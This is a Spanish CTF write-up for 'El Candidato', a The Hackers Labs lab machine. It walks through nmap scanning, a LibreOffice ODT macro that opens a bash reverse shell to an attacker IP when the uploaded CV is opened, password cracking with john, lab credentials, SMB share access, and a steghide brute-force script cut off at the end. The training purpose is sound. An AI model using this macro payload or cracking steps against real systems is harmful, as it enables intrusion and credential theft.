d4redevil
  • whoami
  • Active Directory
    • Enumeración
    • PowerShell para gestionar Active Directory
    • PowerView & SharpView
    • Ataques a Kerberos
    • Ataque de contraseñas
    • SMB Relay
    • Token Impersonation
    • Golden Ticket
    • LLMNR Poisoning
    • Mimikatz
    • Grupos privilegiados
    • LAPS
  • Linux
    • Enumeración
    • Escalación de privilegios
    • Transferencia de Archivos
  • Windows
    • Enumeración
    • Escalación de privilegios
      • SeImporsonate
      • SeDebugPrivilege
      • SeTakeOwnershipPrivilege
      • Backup Operators
      • DnsAdmins
    • Transferencia de Archivos
  • Scripting
    • Powershell
      • Introducción
      • Cmdlet
      • Alias
      • Comentarios
      • Comandos utiles
      • Variables
      • Tuberías (Pipes)
      • Operaciones
      • Estructuras Condicionales
  • OWASP TOP 10 y Vulnerabilidades Web
    • Inyecciones SQL
      • ¿Qué son las Inyecciones SQL?
      • Laboratorio
      • Inyecciones SQL basada en Uniones
      • Inyecciones SQL basadas en booleanos
      • Inyecciones SQL basadas en tiempo
  • Writeups
    • Hack The Box
      • Linux
        • 🟢Easy
        • 🟡Medium
          • Zipping
        • 🔴Hard
        • ⚫Insane
      • Windows
        • 🟢Easy
          • Devel
          • Grandpa
          • Granny
          • Jerry
          • Optimum
          • Legacy
          • Active
          • Sauna
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
    • The Hackers Labs
      • Linux
        • 🟢Principiante
          • Papaya
          • Can You Hack Me?
        • 🟡Avanzado
          • Runners
          • El Candidato
          • El Cliente
        • 🔴Profesional
        • ⚫Experto
          • ⚫Thlcppt_v16
      • Windows
        • 🟢Principiante
          • Cocido Andaluz
          • Ensalá Papas
        • 🟡Avanzado
        • 🔴Profesional
          • BlackGold
        • ⚫Experto
    • Dockerlabs
      • 🔵Muy fácil
      • 🟡Fácil
      • 🟠Medio
        • Database
      • 🔴Difícil
    • VulnHub
      • Linux
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
      • Windows
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
    • HackMyVM
      • Linux
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
      • Windows
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
  • Servicios Comunes
    • TCP
    • UDP
    • FTP (21)
    • SMB (445)
    • MySQL (3306)
    • MSSQL (1433)
  • Cheatsheet
    • Reconocimiento
    • Enumeración
    • Enumeración Web
    • Enumeración de CMS
    • Fuerza Bruta
    • Pivoting
    • Msfvenom
    • Utilidades
    • Fuerza bruta
    • Transferencia de Archivos
  • Contenedores
    • Docker
Con tecnología de GitBook
En esta página
  • Reconocimiento
  • Enumeración inicial
  • Explotación inicial
  • bob -> sam
  • sam -> dean
  • dean -> john
  • Escalación de Privilegios
  • Post Explotación
  1. Writeups
  2. The Hackers Labs
  3. Linux
  4. Avanzado

El Candidato

AnteriorRunnersSiguienteEl Cliente

Última actualización hace 5 meses

¡Hola hacker! Bienvenido a una nueva resolución. En esta ocasión, estaremos resolviendo una nueva máquina, la cual creé para nuestra comunidad de , la máquina .

Reconocimiento

Comenzamos como siempre lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live) 64.

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

❯ nmap -sS -p- --open --min-rate 5000 -Pn -n -oG open_ports -vvv 192.168.1.19
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-08 16:56 -03
Initiating ARP Ping Scan at 16:56
Scanning 192.168.1.19 [1 port]
Completed ARP Ping Scan at 16:56, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:56
Scanning 192.168.1.19 [65535 ports]
Discovered open port 22/tcp on 192.168.1.19
Discovered open port 993/tcp on 192.168.1.19
Discovered open port 445/tcp on 192.168.1.19
Discovered open port 139/tcp on 192.168.1.19
Discovered open port 80/tcp on 192.168.1.19
Discovered open port 25/tcp on 192.168.1.19
Discovered open port 143/tcp on 192.168.1.19
Discovered open port 995/tcp on 192.168.1.19
Discovered open port 110/tcp on 192.168.1.19
Completed SYN Stealth Scan at 16:57, 24.27s elapsed (65535 total ports)
Nmap scan report for 192.168.1.19
Host is up, received arp-response (0.00056s latency).
Scanned at 2024-12-08 16:56:46 -03 for 24s
Not shown: 37558 filtered tcp ports (no-response), 27968 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE      REASON
22/tcp  open  ssh          syn-ack ttl 64
25/tcp  open  smtp         syn-ack ttl 64
80/tcp  open  http         syn-ack ttl 64
110/tcp open  pop3         syn-ack ttl 64
139/tcp open  netbios-ssn  syn-ack ttl 64
143/tcp open  imap         syn-ack ttl 64
445/tcp open  microsoft-ds syn-ack ttl 64
993/tcp open  imaps        syn-ack ttl 64
995/tcp open  pop3s        syn-ack ttl 64
MAC Address: 08:00:27:BF:E8:AE (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 24.44 seconds
           Raw packets sent: 118373 (5.208MB) | Rcvd: 27981 (1.119MB)

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

❯ nmap -sCV -p22,25,80,110,139,143,445,993,995 -oN services_scan -vvv 192.168.1.19
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-08 16:57 -03
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:57
Completed NSE at 16:57, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:57
Completed NSE at 16:57, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:57
Completed NSE at 16:57, 0.00s elapsed
Initiating ARP Ping Scan at 16:57
Scanning 192.168.1.19 [1 port]
Completed ARP Ping Scan at 16:57, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:57
Completed Parallel DNS resolution of 1 host. at 16:57, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:57
Scanning 192.168.1.19 [9 ports]
Discovered open port 80/tcp on 192.168.1.19
Discovered open port 139/tcp on 192.168.1.19
Discovered open port 110/tcp on 192.168.1.19
Discovered open port 445/tcp on 192.168.1.19
Discovered open port 995/tcp on 192.168.1.19
Discovered open port 143/tcp on 192.168.1.19
Discovered open port 25/tcp on 192.168.1.19
Discovered open port 22/tcp on 192.168.1.19
Discovered open port 993/tcp on 192.168.1.19
Completed SYN Stealth Scan at 16:57, 0.02s elapsed (9 total ports)
Initiating Service scan at 16:57
Scanning 9 services on 192.168.1.19
Completed Service scan at 16:58, 26.05s elapsed (9 services on 1 host)
NSE: Script scanning 192.168.1.19.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.55s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 1.80s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
Nmap scan report for 192.168.1.19
Host is up, received arp-response (0.00088s latency).
Scanned at 2024-12-08 16:57:47 -03 for 28s

PORT    STATE SERVICE     REASON         VERSION
22/tcp  open  ssh         syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 f5:83:ee:35:33:dc:c8:64:67:e5:1e:3d:37:ac:44:6e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBcsVJXuiKZjKyS7SE80vU6CmwAbbpvBMiLNJn1OFYtTZcechFrMgVaF2JQiYrVB7PdiqLe5ObTLf0JxM/s4IrM=
|   256 49:84:2d:38:2b:f1:39:92:bc:13:7c:17:2a:ae:e8:a1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA80g4Zn1tE+wxyLwcz+P+vLF8+5a6Y24+bQzQ96LFi+
25/tcp  open  smtp        syn-ack ttl 64 Postfix smtpd
|_smtp-commands: gyhabogados.thl, PIPELINING, SIZE 10240000, ETRN, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp  open  http        syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Gonz\xC3\xA1lez, Herrera y C\xC3\xADa. Abogados
|_http-server-header: Apache/2.4.62 (Debian)
110/tcp open  pop3        syn-ack ttl 64 Dovecot pop3d
| ssl-cert: Subject: commonName=LawHacked.lawhacked.thl
| Subject Alternative Name: DNS:LawHacked.lawhacked.thl
| Issuer: commonName=LawHacked.lawhacked.thl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-05T16:19:15
| Not valid after:  2034-12-03T16:19:15
| MD5:   50b3:10e4:c13e:d10d:cf39:059b:086e:383a
| SHA-1: 915e:f065:9174:d4a4:aa1a:7fe7:eb5a:d1d8:c9b3:2271
| -----BEGIN CERTIFICATE-----
| MIIDIjCCAgqgAwIBAgIUDVHowqDKDr/7fgNiSZ9wUQcZbugwDQYJKoZIhvcNAQEL
| BQAwIjEgMB4GA1UEAwwXTGF3SGFja2VkLmxhd2hhY2tlZC50aGwwHhcNMjQxMjA1
| MTYxOTE1WhcNMzQxMjAzMTYxOTE1WjAiMSAwHgYDVQQDDBdMYXdIYWNrZWQubGF3
| aGFja2VkLnRobDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALSeVJlM
| +gHFyQjRposOXgnOGPk0zjT/1Bfh7L+r73G4mBvveDjrbaACEG/H+sVgKab2msYt
| qYoefB09L5V0cY73yPb+CAX7X66uXVc4z5EnWEuYIUmL+7VXwfg2VOfCpKjTgql5
| eylnxv/Xl4Ubf9fbID5nFM7ZTrERv9PXHXNb1NiZ0f0g3yl9zqtHDGhJJKBEJxe5
| WitQJRRHD/jtvrFFADDKrltLQDWlYxlHA9bB6LRgYGrGA3cFWybhEu5yQZxm8lCs
| BTiUNF3kTwcPBjLGZskf1AboUKDIQUuQXjRONnEpld6bFQcvvloCnQM3Rp5j4uwN
| AG69ar/yIf74ukUCAwEAAaNQME4wCQYDVR0TBAIwADAiBgNVHREEGzAZghdMYXdI
| YWNrZWQubGF3aGFja2VkLnRobDAdBgNVHQ4EFgQUcGj/9hp47fYA5ZMSsbk3+aYo
| oCowDQYJKoZIhvcNAQELBQADggEBABGELR9M9fsydlPAbewmlDpvnxU2CCO/BDPf
| xMhFLoHFJMA9hIot94+VVbKJTiLHn8KNArfYmveJMCHz3tQ/0Dh7h9AMp2irg4H2
| 3jXBVVGoGlA61cFzjKRH4JNxgzxxOryOTJm9ttlh8M8OPR7cQ+72V/iqT8jqY2u6
| cS/RBrJNnMbHLmx0FXiamwLIKXLJRUcBbsbLCdXzDYP3BXPQvlXJP/80U0yk5SKY
| ui2F4uZRyutRFmnZVLosGiKMmeXA9oHz/PDxSHNPkJad5c9LW70FPYtQEqm1XC74
| qgkibpoWFhjN7ERK20RiwufMhadEvjuoWkCnVh/o32mHqgxjvYI=
|_-----END CERTIFICATE-----
|_pop3-capabilities: USER RESP-CODES UIDL CAPA TOP STLS SASL(PLAIN LOGIN) AUTH-RESP-CODE PIPELINING
|_ssl-date: TLS randomness does not represent time
139/tcp open  netbios-ssn syn-ack ttl 64 Samba smbd 4.6.2
143/tcp open  imap        syn-ack ttl 64 Dovecot imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=LawHacked.lawhacked.thl
| Subject Alternative Name: DNS:LawHacked.lawhacked.thl
| Issuer: commonName=LawHacked.lawhacked.thl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-05T16:19:15
| Not valid after:  2034-12-03T16:19:15
| MD5:   50b3:10e4:c13e:d10d:cf39:059b:086e:383a
| SHA-1: 915e:f065:9174:d4a4:aa1a:7fe7:eb5a:d1d8:c9b3:2271
| -----BEGIN CERTIFICATE-----
| MIIDIjCCAgqgAwIBAgIUDVHowqDKDr/7fgNiSZ9wUQcZbugwDQYJKoZIhvcNAQEL
| BQAwIjEgMB4GA1UEAwwXTGF3SGFja2VkLmxhd2hhY2tlZC50aGwwHhcNMjQxMjA1
| MTYxOTE1WhcNMzQxMjAzMTYxOTE1WjAiMSAwHgYDVQQDDBdMYXdIYWNrZWQubGF3
| aGFja2VkLnRobDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALSeVJlM
| +gHFyQjRposOXgnOGPk0zjT/1Bfh7L+r73G4mBvveDjrbaACEG/H+sVgKab2msYt
| qYoefB09L5V0cY73yPb+CAX7X66uXVc4z5EnWEuYIUmL+7VXwfg2VOfCpKjTgql5
| eylnxv/Xl4Ubf9fbID5nFM7ZTrERv9PXHXNb1NiZ0f0g3yl9zqtHDGhJJKBEJxe5
| WitQJRRHD/jtvrFFADDKrltLQDWlYxlHA9bB6LRgYGrGA3cFWybhEu5yQZxm8lCs
| BTiUNF3kTwcPBjLGZskf1AboUKDIQUuQXjRONnEpld6bFQcvvloCnQM3Rp5j4uwN
| AG69ar/yIf74ukUCAwEAAaNQME4wCQYDVR0TBAIwADAiBgNVHREEGzAZghdMYXdI
| YWNrZWQubGF3aGFja2VkLnRobDAdBgNVHQ4EFgQUcGj/9hp47fYA5ZMSsbk3+aYo
| oCowDQYJKoZIhvcNAQELBQADggEBABGELR9M9fsydlPAbewmlDpvnxU2CCO/BDPf
| xMhFLoHFJMA9hIot94+VVbKJTiLHn8KNArfYmveJMCHz3tQ/0Dh7h9AMp2irg4H2
| 3jXBVVGoGlA61cFzjKRH4JNxgzxxOryOTJm9ttlh8M8OPR7cQ+72V/iqT8jqY2u6
| cS/RBrJNnMbHLmx0FXiamwLIKXLJRUcBbsbLCdXzDYP3BXPQvlXJP/80U0yk5SKY
| ui2F4uZRyutRFmnZVLosGiKMmeXA9oHz/PDxSHNPkJad5c9LW70FPYtQEqm1XC74
| qgkibpoWFhjN7ERK20RiwufMhadEvjuoWkCnVh/o32mHqgxjvYI=
|_-----END CERTIFICATE-----
|_imap-capabilities: IMAP4rev1 ID IDLE LOGIN-REFERRALS ENABLE listed LITERAL+ OK post-login AUTH=PLAIN AUTH=LOGINA0001 more STARTTLS have SASL-IR Pre-login capabilities
445/tcp open  netbios-ssn syn-ack ttl 64 Samba smbd 4.6.2
993/tcp open  ssl/imap    syn-ack ttl 64 Dovecot imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=LawHacked.lawhacked.thl
| Subject Alternative Name: DNS:LawHacked.lawhacked.thl
| Issuer: commonName=LawHacked.lawhacked.thl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-05T16:19:15
| Not valid after:  2034-12-03T16:19:15
| MD5:   50b3:10e4:c13e:d10d:cf39:059b:086e:383a
| SHA-1: 915e:f065:9174:d4a4:aa1a:7fe7:eb5a:d1d8:c9b3:2271
| -----BEGIN CERTIFICATE-----
| MIIDIjCCAgqgAwIBAgIUDVHowqDKDr/7fgNiSZ9wUQcZbugwDQYJKoZIhvcNAQEL
| BQAwIjEgMB4GA1UEAwwXTGF3SGFja2VkLmxhd2hhY2tlZC50aGwwHhcNMjQxMjA1
| MTYxOTE1WhcNMzQxMjAzMTYxOTE1WjAiMSAwHgYDVQQDDBdMYXdIYWNrZWQubGF3
| aGFja2VkLnRobDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALSeVJlM
| +gHFyQjRposOXgnOGPk0zjT/1Bfh7L+r73G4mBvveDjrbaACEG/H+sVgKab2msYt
| qYoefB09L5V0cY73yPb+CAX7X66uXVc4z5EnWEuYIUmL+7VXwfg2VOfCpKjTgql5
| eylnxv/Xl4Ubf9fbID5nFM7ZTrERv9PXHXNb1NiZ0f0g3yl9zqtHDGhJJKBEJxe5
| WitQJRRHD/jtvrFFADDKrltLQDWlYxlHA9bB6LRgYGrGA3cFWybhEu5yQZxm8lCs
| BTiUNF3kTwcPBjLGZskf1AboUKDIQUuQXjRONnEpld6bFQcvvloCnQM3Rp5j4uwN
| AG69ar/yIf74ukUCAwEAAaNQME4wCQYDVR0TBAIwADAiBgNVHREEGzAZghdMYXdI
| YWNrZWQubGF3aGFja2VkLnRobDAdBgNVHQ4EFgQUcGj/9hp47fYA5ZMSsbk3+aYo
| oCowDQYJKoZIhvcNAQELBQADggEBABGELR9M9fsydlPAbewmlDpvnxU2CCO/BDPf
| xMhFLoHFJMA9hIot94+VVbKJTiLHn8KNArfYmveJMCHz3tQ/0Dh7h9AMp2irg4H2
| 3jXBVVGoGlA61cFzjKRH4JNxgzxxOryOTJm9ttlh8M8OPR7cQ+72V/iqT8jqY2u6
| cS/RBrJNnMbHLmx0FXiamwLIKXLJRUcBbsbLCdXzDYP3BXPQvlXJP/80U0yk5SKY
| ui2F4uZRyutRFmnZVLosGiKMmeXA9oHz/PDxSHNPkJad5c9LW70FPYtQEqm1XC74
| qgkibpoWFhjN7ERK20RiwufMhadEvjuoWkCnVh/o32mHqgxjvYI=
|_-----END CERTIFICATE-----
|_imap-capabilities: IMAP4rev1 ID IDLE more LOGIN-REFERRALS have ENABLE post-login Pre-login capabilities listed LITERAL+ SASL-IR OK AUTH=LOGINA0001 AUTH=PLAIN
995/tcp open  ssl/pop3    syn-ack ttl 64 Dovecot pop3d
|_pop3-capabilities: CAPA TOP RESP-CODES SASL(PLAIN LOGIN) USER UIDL AUTH-RESP-CODE PIPELINING
| ssl-cert: Subject: commonName=LawHacked.lawhacked.thl
| Subject Alternative Name: DNS:LawHacked.lawhacked.thl
| Issuer: commonName=LawHacked.lawhacked.thl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-05T16:19:15
| Not valid after:  2034-12-03T16:19:15
| MD5:   50b3:10e4:c13e:d10d:cf39:059b:086e:383a
| SHA-1: 915e:f065:9174:d4a4:aa1a:7fe7:eb5a:d1d8:c9b3:2271
| -----BEGIN CERTIFICATE-----
| MIIDIjCCAgqgAwIBAgIUDVHowqDKDr/7fgNiSZ9wUQcZbugwDQYJKoZIhvcNAQEL
| BQAwIjEgMB4GA1UEAwwXTGF3SGFja2VkLmxhd2hhY2tlZC50aGwwHhcNMjQxMjA1
| MTYxOTE1WhcNMzQxMjAzMTYxOTE1WjAiMSAwHgYDVQQDDBdMYXdIYWNrZWQubGF3
| aGFja2VkLnRobDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALSeVJlM
| +gHFyQjRposOXgnOGPk0zjT/1Bfh7L+r73G4mBvveDjrbaACEG/H+sVgKab2msYt
| qYoefB09L5V0cY73yPb+CAX7X66uXVc4z5EnWEuYIUmL+7VXwfg2VOfCpKjTgql5
| eylnxv/Xl4Ubf9fbID5nFM7ZTrERv9PXHXNb1NiZ0f0g3yl9zqtHDGhJJKBEJxe5
| WitQJRRHD/jtvrFFADDKrltLQDWlYxlHA9bB6LRgYGrGA3cFWybhEu5yQZxm8lCs
| BTiUNF3kTwcPBjLGZskf1AboUKDIQUuQXjRONnEpld6bFQcvvloCnQM3Rp5j4uwN
| AG69ar/yIf74ukUCAwEAAaNQME4wCQYDVR0TBAIwADAiBgNVHREEGzAZghdMYXdI
| YWNrZWQubGF3aGFja2VkLnRobDAdBgNVHQ4EFgQUcGj/9hp47fYA5ZMSsbk3+aYo
| oCowDQYJKoZIhvcNAQELBQADggEBABGELR9M9fsydlPAbewmlDpvnxU2CCO/BDPf
| xMhFLoHFJMA9hIot94+VVbKJTiLHn8KNArfYmveJMCHz3tQ/0Dh7h9AMp2irg4H2
| 3jXBVVGoGlA61cFzjKRH4JNxgzxxOryOTJm9ttlh8M8OPR7cQ+72V/iqT8jqY2u6
| cS/RBrJNnMbHLmx0FXiamwLIKXLJRUcBbsbLCdXzDYP3BXPQvlXJP/80U0yk5SKY
| ui2F4uZRyutRFmnZVLosGiKMmeXA9oHz/PDxSHNPkJad5c9LW70FPYtQEqm1XC74
| qgkibpoWFhjN7ERK20RiwufMhadEvjuoWkCnVh/o32mHqgxjvYI=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:BF:E8:AE (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-12-08T20:00:06
|_  start_date: N/A
| nbstat: NetBIOS name: GYHABOGADOS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   GYHABOGADOS<00>      Flags: <unique><active>
|   GYHABOGADOS<03>      Flags: <unique><active>
|   GYHABOGADOS<20>      Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_clock-skew: 1m52s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 4705/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 46031/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 35387/udp): CLEAN (Failed to receive data)
|   Check 4 (port 26838/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.02 seconds
           Raw packets sent: 10 (424B) | Rcvd: 10 (424B)

Explotación inicial

Si ingresamos al puerto 80, nos encontramos con la siguiente web.

Si hacemos hover sobre alguno de los enlaces del menú, vemos que se estan apuntando al siguiente nombre de dominio: gyhabogados.thl.

Por lo tanto, registramos la siguiente linea en nuestro archivo hosts.

echo "192.168.1.19 gyhabogados.thl" >> /etc/hosts

Volvemos a ingresar a la web y vemos que tenemos acceso a las demás secciones.

Hay una sección del sitio web que es particularmente interesante y es la sección de "Trabaja con Nosotros". A través de este formulario los candidatos pueden subir su Curriculum Vitae.

Vemos que el tipo de archivo que los tipos de archivos que se nos permite subir son pdf, doc, y odt. Podemos cargar el formulario y tramitar la petición a Burp Suite para intentar manipular la petición para subir por ejemplo un script php, pero no va por ahi.

En este caso, la vulnerabilidad que explotaremos se encuentra en los macros del archivo odt. Lo que haremos será subir un archivo odt malicioso el cual nos permita obtener una reverse shell.

En primer lugar, debemos crear el archivo odt, para ello utilizaremos LibreOffice Writer.

Para crear un nuevo macro, debemos acceder a la sección Tools/Organize Macros/Basic...

En este punto, deberemos seleccionar nuestro documento y hacer clic en el botón New. Ingresamos el nombre del macro, en este caso AutoOpen.

Se abrirá la siguiente ventana.

Dentro de la sección del código, escribiremos lo siguiente indicando la IP de nuestra máquina atacante:

Sub AutoOpen()
    Shell("/bin/bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1'")
End Sub

Guardamos el macro.

En este caso, se nos solicita despliega el siguiente cuadro de dialogo para ingresar el nombre del archivo en caso de todavía no haberlo indicado.

Ahora, lo que demos hacer, es asociar el macro a un evento, en este caso lo asociaremos al evento Open Document, es decir, que nuestro código se ejecutara al momento de abrirse el documento.

Para ello, debemos acceder a Tools/Customize...

Luego, en la pestaña Events debemos buscar el evento Open Document y seleccionarlo. A continuación, debemos hacer clic en el botón Macro....

Por ultimo, debemos seleccionar nuestro macro y guardar.

Guardamos el archivo y ya estamos listos para subirlo.

Volvemos a la web y completamos el formulario.

Antes de enviar el formulario, nos ponemos en escucha con netcat por el puerto que hayamos elegido.

Ahora si, enviamos el formulario.

Esperamos unos segundos, y deberíamos recibir la reverse shell.

Genial, estamos dentro del sistema como el usuario bob.

Hacemos el tratamiento de la tty para tener una terminal más interactiva:

  • script /dev/null -c bash

  • CTRL + Z

  • stty raw -echo; fg

  • reset xterm

  • export TERM=xterm

  • export SHELL=bash

  • stty rows <rows> columns <columns>

bob -> sam

Si realizamos una enumeración básica del sistema, encontramos un archivo credentials.7z en el directorio home de bob.

Si intentamos extraer el contenido del archivo, vemos que nos solicita una contraseña.

Descargamos el archivo a nuestra máquina atacante para poder crackearlo con john.

Creamos un servidor HTTP con Python por el puerto 8000.

Utilizamos 7z2john para generar el hash.

Crackeamos el hash con john usando el rockyou.

Logramos obtener la contraseña del archivo 7z.

Extraemos el contenido del archivo, lo cual genera un archivo credentials.txt.

Dentro del archivo, encontramos las credenciales de bob.

Las cuales podemos utilizar para conectarnos por ssh.

Usuario: bob

Contraseña: a7gyqqp6bt2!uv@2u

Continuamos enumerando el sistema y encontramos que además del sitio principal gyhabogados.thl, existe un segundo sitio configurado mail.gyhabogados.thl.

Si miramos el contenido del archivo, nos encontramos con lo siguiente:

Al aparecer, lo que esta corriendo bajo la dirección mail.gyhabogados.thl es una instancia de Roundcube.

¿Qué es Roundcube?

RoundCube es un cliente de correo web gratuito y de código abierto que permite gestionar emails a través de un navegador. Ofrece una interfaz moderna, soporte IMAP, gestión de contactos y extensibilidad mediante plugins.

Agregamos este dominio al archivo host de nuestra máquina atacante y accedemos a ella desde el navegador.

echo "192.168.1.19 mail.gyhabogados.thl" >> /etc/hosts

Nota:

También podríamos haber realizado fuzzing para encontrar el subdominio.

Efectivamente, nos encontramos con una instancia de RoundCube.

Ingresamos con las credenciales de bob.

Si miramos dentro de los mensajes enviados por bob, encontramos uno interesante.

En este correo, podemos ver que se da la bienvenida a sam que es uno de los nuevos abogados. Podemos ver, que se le brindan las credenciales necesarias para acceder al sistema.

Nos movernos al usuarios sam usando esas credenciales, ya que no las ha cambiado.

Usuario: sam

Contraseña: Welcome2024!

Genial, logramos acceder como sam al sistema.

sam -> dean

Si recordamos los servicios expuestos, uno de ellos era el Samba (445). Ahora que tenemos credenciales validas, podemos intentar enumerar recursos.

Vemos tres recursos interesantes, CONFIDENCIALES, RESPALDOS_IT y IT_TOOLS, pero solo tenemos permisos de lectura en los primeros dos. Si miramos dentro del recurso compartido CONFIDENCIALES no encontraremos nada interesante, solo archivos pdf sin valor. Pero, dentro del recurso compartido RESPALDOS_IT si encontramos algo.

Descargamos ambos archivos a nuestra máquina atacante.

Si miramos lo que dice el archivo txt, nos encontramos con lo siguiente:

IMPORTANTE.txt
Dean,

He notado que estás reutilizando tus credenciales con frecuencia, lo que puede comprometer la seguridad de la empresa. Para facilitarte la gestión de contraseñas y mejorar la seguridad, he decidido crear una bóveda de contraseñas para ti, utilizando un gestor de contraseñas.

Con esta herramienta, solo necesitarás recordar una contraseña maestra para acceder a todas tus credenciales de manera segura.

La contraseña maestra es similar a la que te proporcioné en la bienvenida: "ChevyImpala1967". Sin embargo, en lugar de "1967", deberás usar un año diferente.

Vemos que el archivo credenciales.psafe3 corresponde a la boveda de contraseñas de dean uno de los usuarios del sistema y que la contraseña maestra esta formada por ChevyImpala y un año, que no sabemos cual.

Creamos un simple diccionario usando el siguiente one-liner.

for year in $(seq 1900 2024); do echo "ChevyImpala$year"; done > diccionario.txt

Generamos el hash usando la herramienta pwsafe2john.

Crackeamos el hash con john y el diccionario generado.

Obtenemos la contraseña maestra de la boveda.

Abrimos el archivo con la aplicación de Password Safe.

Encontramos las credenciales de dean.

Usuario: dean

Contraseña: MasterOfPuppets1986

dean -> john

Obtenemos la flag de user.txt

Si recordamos, cuando enumeramos recursos compartidos con sam, había un recurso que no podíamos acceder. Si volvemos a enumerar, en este caso con dean vemos que tenemos permisos de lectura en este recurso, por lo que nos conectamos.

Encontramos un archivo .ppk, lo descargamos a nuestra máquina.

Utilizamos la utilidad puttygen para generar una clave privada rsa y poder conectarnos por ssh como john.

puttygen private_key.ppk -O private-openssh -o id_rsa

Logramos ganar acceso como john.

Escalación de Privilegios

Después de realizar una enumeración del sistema y no encontrar nada interesante, probamos ingresar a la casilla de correo de john pero no encontramos nada. Sin embargo, si ingresamos a la casilla de correo de dean, observamos un correo un tanto particular.

En este correo, el usuario bob envia una imagen de un Chevrolet Impala del año 67 adjunta.

Descargamos la imagen y aplicamos esteganografía junto con un poco de fuerza bruta.

Para ello, podemos usar un pequeño script en bash.

#!/bin/bash
# steghide_bruteforce.sh

IMAGE="impala_67.jpg"
OUTPUT_FILE="extracted_data.txt"
WORDLIST="/usr/share/wordlists/rockyou.txt"

# Fuerza bruta con cada línea del diccionario
while IFS= read -r PASSWORD; do
    echo "Probando: $PASSWORD"
    steghide extract -sf "$IMAGE" -p "$PASSWORD" >/dev/null 2>&1

